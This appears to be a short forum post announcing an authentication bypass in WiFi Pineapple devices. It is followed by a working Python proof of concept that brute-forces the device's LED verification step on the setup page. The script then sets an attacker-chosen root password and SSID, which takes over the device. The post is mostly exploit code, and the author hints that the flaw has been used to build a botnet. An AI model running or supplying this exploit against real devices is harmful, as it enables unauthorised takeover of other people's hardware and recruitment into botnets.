I have wrote PoC half a year ago, because i needed to try it on my Chinese router, and it still works on freshly purchased pineapple devices. (hello from Defcon ;) )
And guys, it’s not a talk for the defcon, especially if you have done a botnet based on that shit… ;)
See ya tomorrow at WiFi village...
POC is below:
#!/usr/bin/env python
from random import choice
from urllib import urlencode
from httplib import HTTPConnection
settings = {
    "ip": "172.16.42.1",
    "port": 1471,
    "root_password": "toor",
    "ap_ssid": "AccessPoint",
    "ap_password": "password"
}
parameters = ('amber', 'blue', 'red',)
values = ('on', 'off', 'blink',)
connection = HTTPConnection(settings["ip"], settings["port"])
php_session = ""
while True:
    post_data = "{}&verify_pineapple=true".format(urlencode(dict((parameter, choice(values),) for parameter in parameters)))
    connection.request("POST", "/?action=verify_pineapple", post_data, {"Content-type": "application/x-www-form-urlencoded", "Connection": "keep-alive", "Cookie" : php_session})
    response = connection.getresponse()
    php_session = php_session or response.getheader("set-cookie").split(";")[0]
    if "action=set_password" in response.read():
      connection.request("POST", "/?action=set_password", "password={0}&password2={0}&set_password=true&eula=true&sw_license=true".format(settings["root_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
      connection.getresponse().read()
      connection.request("POST", "/?action=set_ssid", "ssid={0}&password={1}&password2={1}&set_ssid=true".format(settings["ap_ssid"], settings["ap_password"]), {"Content-type": "application/x-www-form-urlencoded", "Cookie": php_session})
      connection.getresponse().read()
      connection.request("GET", "/?action=finish")
      print "Setup finished"
      break